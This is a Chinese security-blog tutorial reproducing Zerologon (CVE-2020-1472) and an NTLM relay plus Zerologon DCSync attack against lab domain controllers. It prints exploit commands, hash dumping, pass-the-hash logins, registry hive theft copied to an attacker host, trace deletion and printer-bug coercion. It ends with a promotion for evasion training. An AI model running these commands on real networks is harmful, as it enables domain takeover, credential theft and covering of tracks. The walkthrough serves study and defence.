长亭百川云 - 文章详情

域渗透之 Zerologon+NTLM组合拳拿域控

Vipersec

111

2024-07-22

点击上方蓝字关注我们

**建议大家把公众号“TeamSecret安全团队”设为星标,否则可能就看不到啦!**因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。

                   免责申明

"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"

"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"

        ZeroLogon域提权漏洞篇

  1. 漏洞介绍

在2020年9月11日,安全领域传来震撼消息:Secura公司揭露了微软在前一个月紧急修复的一个重大安全漏洞——"Zerologon"(CVE-2020-1472)。这一漏洞的严重性达到了惊人的CVSS评分10.0,它的存在几乎让攻击者能够以闪电般的速度——仅需3秒——控制整个活动目录(AD)域控制器。这个漏洞的威力如此之大,以至于它被冠以"3秒撸域控"的称号,其危害程度不言而喻。

"Zerologon"利用了NetLogon(MS-NRPC)协议的缺陷,允许攻击者在与AD域控建立安全通道时,巧妙地将域控服务器的计算机账号密码重置为空白。这一操作的后果是灾难性的,因为一旦密码被置空,攻击者就可以轻而易举地控制整个域控服务器,从而对整个网络环境造成不可估量的损害。

这一事件不仅是对网络安全的一次严峻考验,也是对所有依赖于微软AD服务的组织的警钟。它提醒我们,即使是最强大的系统也可能存在漏洞,而及时的更新和修补是维护网络安全的关键。同时,这也强调了对安全漏洞进行深入分析和快速响应的重要性,以防止潜在的灾难性后果。

  1. 漏洞原理

2.1 什么是NetLogon协议

在Active Directory中比较重要的一个服务:"Netlogon"服务,此服务在DC和域成员服务器上运行,为域身份验证提供重要服务,如果此服务停止成员服务器将无法登陆到域中。

客户端和认证服务器之间建立一个基于NETLOGON协议的安全会话有两个目的:一是用于认证;二是用于交换通信秘钥SessionKey。

Netlogon 认证过程简单来说就是是让客户端 (域内计算机)和服务器(域控制器)向分别对方证明他们都知道一个共同的秘密。此共享秘密是客户端计算机帐户密码的散列(其实就是NTLM)。

Netlogon协议身份验证握手过程详细说可以分为以下几个步骤:

  1. 会话启动:探险队员(客户端)向基地(认证服务器)发出信号,请求开始一场安全的对话。

  2. 挑战的交换:探险队员和基地相互抛出一个神秘的8字节挑战(一个随机数),这是他们之间的秘密暗号。

  3. 密钥派生:使用密钥派生函数(KDF),探险队员和基地将各自的挑战与一个共同的秘密(客户端计算机账户密码的散列,即NTLM)混合,生成一把共同的钥匙(SessionKey)。这一步是确保只有真正的团队成员才能拥有这把钥匙。 SessionKey=KDF(NTLM,client challenge+server challenge)SessionKey=KDF(NTLM,client challenge+server challenge)

  4. 加密验证:探险队员使用SessionKey和自己的挑战,通过AES-CFB8算法加密生成一个信号A1,发送给基地。如果基地也能用同样的钥匙生成相同的信号A2,那么探险队员就通过了身份验证。

  5. 互相认证:基地也用SessionKey和自己的挑战加密生成信号B1,发送给探险队员。如果探险队员能生成相同的信号B2,那么基地就知道探险队员是真正的团队成员。

  6. 完成认证:双方互相确认了对方的身份,并且拥有了共同的SessionKey。这把钥匙将用于加密和解密他们之间所有的通信,确保信息的安全。

这个过程直接引用网上的图片如下:

在"Zerologon"漏洞中,攻击者可以控制client challenge,通常将其设置为全0。与此同时,server challenge在每次认证过程中都是随机生成的,而secret是用户密码的散列值。加密过程使用的是AES-CFB8算法,其安全性在很大程度上依赖于随机的初始化向量(IV)。

在Netlogon远程过程调用(RPC)中,初始化向量(IV)在计算Netlogon凭据时被错误地设置为0。如果IV和client challenge都是0,这将大大降低加密的安全性。在这种情况下,使用AES-CFB8加密模式,攻击者有1/256的概率使得8字节全0的明文加密后得到8字节全0的密文。尽管这个概率相对较低,但在网络安全领域,任何潜在的漏洞都可能被利用来发起攻击。

2.2 漏洞原理与风险

**加密漏洞解析:**在"Zerologon"漏洞中,存在一个关键的加密缺陷。具体来说,每256次随机密钥生成中,有一次机会,当纯文本由全0组成时,加密结果也将是全0的密文。攻击者利用这一点,通过将Client challenge设置为0,企图触发这种罕见情况,从而使得服务器端计算出的密文hash也为0,绕过正常的认证过程。

**NetLogon协议的角色:**NetLogon协议在Active Directory中扮演着至关重要的角色,它允许工作站和服务器通过安全通道与域控制器进行通信。每个加入Active Directory的设备都有一个计算机账户,其密码被Active Directory所知晓,并用于生成多个密钥,这些密钥支持Kerberos和NTLM等身份验证协议。

**Zerologon攻击机制:**最初的Zerologon攻击通过将域控制器的Active Directory账户密码重置为空,赋予攻击者以域控制器身份进行认证的能力。这种高权限操作允许攻击者利用DRSUAPI协议同步Active Directory数据,包括敏感的NT哈希和Kerberos密钥,进而模拟域中的任何用户或创建伪造的Kerberos票据。

**风险与后果:**在Active Directory中,将域控制器的计算机账户密码重置为空,会导致域控制器进入一种不一致的状态。因为注册表和内存中的lsass.exe进程中的加密计算机账户密码并未改变,与Active Directory中的密码不同步,这将影响域控制器之间的身份验证过程。如果域控制器重启,依赖于Active Directory信息的各种服务可能无法启动。尽管理论上可以通过快速操作从注册表中恢复原始密码,但这种做法风险极高,因此在生产环境中不推荐利用此漏洞。

  1. 利用条件

  2. 无需任何域相关用户

  3. 只要网络相通域控即可

  4. 工具准备

  5. Impacket

  6. 漏洞检测  https://github.com/mudachyo/ZeroLogon-tester.git

  7. 漏洞利用  https://github.com/VoidSec/CVE-2020-1472

  8. 密码恢复 https://github.com/risksense/zerologon

  9. 漏洞复现

环境如下:

5.1 漏洞检测

工具使用方法:

zerologon_tester.py <dc-name> <dc-ip>

漏洞检测:

zerologon_tester.py DC01 172.16.0.128

检测到漏洞存在

5.2 漏洞利用

工具使用方法:

python3 cve-2020-1472-exploit.py <dc-name> <dc-ip>

漏洞利用:

python3 cve-2020-1472-exploit.py DC01 172.16.0.128

5.3 利用secretsdump导出hash

python3 secretsdump.py teamsecret.com/DC01\$@172.16.0.128 -no-pass

5.4 获取shell

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 teamsecret.com/administrator@172.16.0.128

5.5 恢复密码

保持sam表

reg save HKLM\SYSTEM system.save
 reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

下载到Kali

lget system.save
lget sam.save
lget security.save

删除目标主机痕迹

del /f system.save
del /f sam.save
del /f security.save

获取原主机HASH

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

将 最长的那段hex值复制

使用脚本还原

python3 reinstall_original_pw.py DC01 172.16.0.128 269849f4fb69709e651fc72877523ccfb7e9b3af1a83d0529eb81d1e0d3fd66cde85654df86878e575576d252eb4e174b410fd0a4acde9548aa427663e1087adfcaeece524fa59ea21add8cc6d2964a70dda6b1364e2fa6f03a1a5c88c9d2f4d1aae662049864c7eb7f141c6bd624c9a42b52a9ea666308362fb875c1c5e94ff2d3c4096a6369e629ac26641a898a553bcebbcd392df18e67a40ff981f80348a54ca154c3172b08e648424ff2e57fe5eddac22c15eaec8fd2f8b599fd76dc5f6bd6e868990e5802b7ee3c62ccb07268a7e949ebfb4d83cc25ffb2499f1088759be44e6e1ad843db37ad7c0e59dc6545b

检测是否还原成功(如-no-pass无法登录,为恢复成功)

python3 secretsdump.py teamsecret.com/DC01\$@172.16.0.128 -no-pass

再次尝试使用hash登录

python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 teamsecret.com/administrator@172.16.0.128

这样我们域控的hash就完成恢复;恢复之后,同样可以看到krbtgt这个账号的hash,可以利用它生成黄金票据来进行权限维持

至此我们就已经拿到了域控的权限,完成了漏洞的利用。

       NTLM Relay 中继域提权

  1. 漏洞原理

1.1 什么是NTLM中继?

NTLM协议的认证过程分为三步:

  • 协商:主要用于确认双方协议版本。

  • 质询:就是挑战(Chalenge)/ 响应(Response)。

  • 验证:验证主要是在质询完成后,验证结果,是认证的最后一步。

NTLM协议的认证过程如下图所示:

应用服务器在收到用户客户端的认证信息后,由于本身没有存储用户的NT哈希,所以必须依赖域服务器进行认证,将收到的认证信息发送给域服务器,这个过程基于NETLOGON协议。服务器使用 Netlogon RPC 协议将身份验证消息发送到域控制器,该协议将此会话密钥(SessionKey)返回给服务器。如下图所示。

NTLM中继攻击(NTLM Relay)本质上是中间人的利用手法:欺骗客户端向自己发起认证,自己再将完整认证过程转发给服务端,达到绕过挑战响应认证直接获取服务端权限的目的。

  1. 攻击者让客户端向攻击者服务器发起 NTLM 请求

  2. 攻击者服务器将客户端的NTLM 请求转发给真实服务器,真实服务端返回challenge

  3. 攻击者服务器将收到的challenge转发送给客户端

  4. 客户端返回response,攻击者服务器将response转发送给服务端

  5. 服务端验证通过,攻击者服务器获得服务端权限

如下图所示:

由此可以得知,如果攻击者控制了任何一台域内主机(域内主机均具有自身主机账号的口令NTLM值),只要能获取此前客户端请求用户发送给应用服务器的认证信息,攻击者就可以向域服务器发起NETLOGON会话,从而获取SessionKey,随后可以发起重放攻击。

1.2 什么是DCSync

不同域控制器(DC)之间,每15分钟都会有一次域数据的同步。当一个域控制器(DC1)想从其他域控制器(DC2)获取数据时,DC1会向DC2发起一个GetNCChanges请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用的这个原理,通过DirectoryReplicationService(DRS)服务的GetNCChanges接口向域控发起数据同步请求。

在默认情况下,只有Administrators、Domain Controllers和Enterprise Domain Admins组内的用户有权限使用DCSync。

以前获取域的账号口令信息,需要登录域服务器,在域服务器上运行代码才可以获取。DCSync的最大特点,在于不用登录域服务器,即可远程通过域数据同步复制的方式获得想要的用户口令信息。

     NTLM中继+ZeroLogon组合拳

  1. 漏洞介绍

在Active Directory中,有两种主要身份验证协议:NTLM和Kerberos。Kerberos是去中心化的,基于加密和共享机密工作。NTLM是中心化的,如果使用域帐户认证,则需要与域控制器通信才能工作。这是因为NTLM使用质询-响应身份验证机制,其中对服务器发送的质询执行加密操作,以证明用户拥有其密码(或确切地说是其密码的哈希版本)。对于ActiveDirectory帐户,服务器实际上并不知道尝试进行身份验证的用户的密码是什么,因此它会将其转发给域控制器,域控制器会告诉服务器响应是否适合给定的质询。这种转发实际上是通过Netlogon协议完成的,其中存在Zerologon漏洞。

NTLM协议的一个弱点是,如果攻击者可以诱使用户使用NTLM向他们进行身份验证,则他们可以将身份验证消息转发到其他服务器并模拟此服务器上的用户,这被称为NTLM中继。

“打印机错误”功能允许攻击者通过NTLM触发任何启用了后台处理服务的计算机的身份验证,还可以通过使计算机帐户向攻击者的IP地址而不是主机名进行身份验证来强制使用NTLM进行身份验证,从而使其使用NTLM而不是Kerberos来认证,这为NTLM中继提供了触发条件。

NTLM协议执行身份验证时对消息进行签名和加密的加密密钥称为SessionKey,SessionKey是基于用户的NT哈希和协议中协商的某些属性生成的。这意味着为了计算SessionKey,服务器需要拥有用户的NT哈希。除非服务器是域控制器,否则它不具有该NT哈希。因此,服务器会使用NetlogonRPC协议将身份验证消息发送到域控制器,该协议将此会话密钥返回给服务器。

我们可以使用中继连接直接向DRSUAPI协议的RPC端点进行身份验证,虽然该协议需要签名和加密,但我们可以使用Zerologon获取SessionKey,并遵守与该协议通信的所有加密要求。

  1. 利用条件

所有这些结合在一起,我们有一个全新的攻击,它不依赖于重置机器帐户的密码来利用。它确实具有原始攻击所没有的一些先决条件,尽管这些先决条件默认存在,并且可能在大多数AD中起作用:

  • 触发打印机bug需要一个帐户

  • 打印后台处理程序服务应在DC上运行

  • DC应该容易受到Zerologon的攻击

  • 域中至少应有2个DC,因为中继回同一DC不起作用

最终流程如下图所示:

  1. 环境介绍

机器名

IP

角色

DC01

172.16.0.131

主域控:dc01.teamsecret.cn

DC2

172.16.0.132

副域控:dc2.teamsecret.cn

WIN10

172.16.0.133

域成员win7.teamsecret.cn【密码为:Aa123456】

Kali

172.16.0.129

攻击机

  1. 漏洞复现

1.在kali上开启NTLM中继,中继目标是主域控DC,中继成功之后直接执行DCSYNC来dump域控凭据。脚本会同时开启SMB、HTTP、WCF、WAW服务用来执行NTLM中继。

python3 ntlmrelayx.py -t DCSYNC://172.16.0.128 -smb2support

2.在使用printbug攻击DC2,使DC2强制使用NTLM登录kali,这样kali就能通过NTLM中继拿到sessionkey。

python3 printerbug.py teamsecret/win7@172.16.0.132 172.16.0.129

3.通过NTLM中继+zerologon漏洞组合利用,模拟DC2$机器账户的身份,使用zerologon绕过NETLOGON协议认证,然后使用窃取到session key,再调用DRSUAPI执行DCSYNC操作,以DC2$的身份向DC请求同步凭据,然后域内凭据就被dump出来了。

![](https://mmbiz.qpic.cn/sz_mmbiz_png/lSQtsngIibibTH0D8y4TRexibmEYDx5jljJicrqyibbrdA1voxpkh0Blib3eIQE9zXxEuVbLjxo2fjbKtibrPtdOuIyZA/640?wx_fmt=png&from=appmsg)

之后凭据可以用来登录任意域控或域成员。

                      总结

这是一种无须重置域控密码即可使用zerologon漏洞攻击域控或提权的方法,但是利用条件又比直接zerologon漏洞攻击多出了许多。利用条件需要双域控同时需要一个域成员账号密码,但是没有重置密码的风险。

zerologon漏洞只需要域控主机名和ip即可利用,利用条件简单,但是一旦将域控密码置空就会造成域控脱域。因为在Active Directory中重置域控制器计算机帐户密码为空的那一刻,DC 处于不一致状态。因为存储在注册表和内存lsass.exe中的加密计算机帐户密码不会更改,但是Active Directory中同一帐户的密码现在已更改,这将影响从此域控制器到此域控制器的身份验证。如果重新启动域控制器,则各种服务将不再启动,因为它们想要从Active Directory读取信息。

                 加入纷传

掌握免杀艺术,深入内网核心。

我们是您网络安全技能提升的加速器,专注于免杀技术和内网渗透的深度培训。在这里,您将学习如何无声无息地穿透防御,掌握网络安全的高级技巧。

  • 免杀专精:学会如何在不触发警报的情况下进行有效渗透。

  • 内网精通:深入网络的心脏地带,学习如何识别和利用关键漏洞。

  • 实战演练:通过模拟真实攻击场景,提升您的应对策略。

加入我们,让免杀和内网渗透成为您网络安全职业生涯的利器。

Tips:

每周不定时纷传小圈子都会开启公开课!

       TeamSecret安全团队初衷

我们的目标是:

  • 知识普及:让更多人了解网络安全的基础知识和最新动态。

  • 技能提升:为网络安全从业者和爱好者提供实战技能的提升。

  • 案例分析:深入剖析国内外网络安全事件,提炼经验教训。

  • 攻防演练:模拟攻击与防御场景,提高应对网络威胁的能力。

我们的内容涵盖:

  • 攻击队常用的网络攻击技术与工具。

  • 网络攻防演练的策略与实战案例。

  • 系统漏洞分析与防御措施。

  • 网络安全法律法规与伦理道德。

  • 网络安全行业动态与未来趋势。

加入我们,您将获得:

  • 专业的网络安全知识分享。

  • 与行业专家的互动交流机会。

  • 网络安全防护的实用技巧。

  • 网络安全事件的深度解析。

安全第一,技术先行。 我们相信,通过不断的学习和实践,我们能够共同构建一个更加安全、稳定的网络环境。

关注我们,一起探索网络安全的奥秘,成为网络世界的守护者!

添加作者微信发送:进群,邀请你加入学习交流群

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2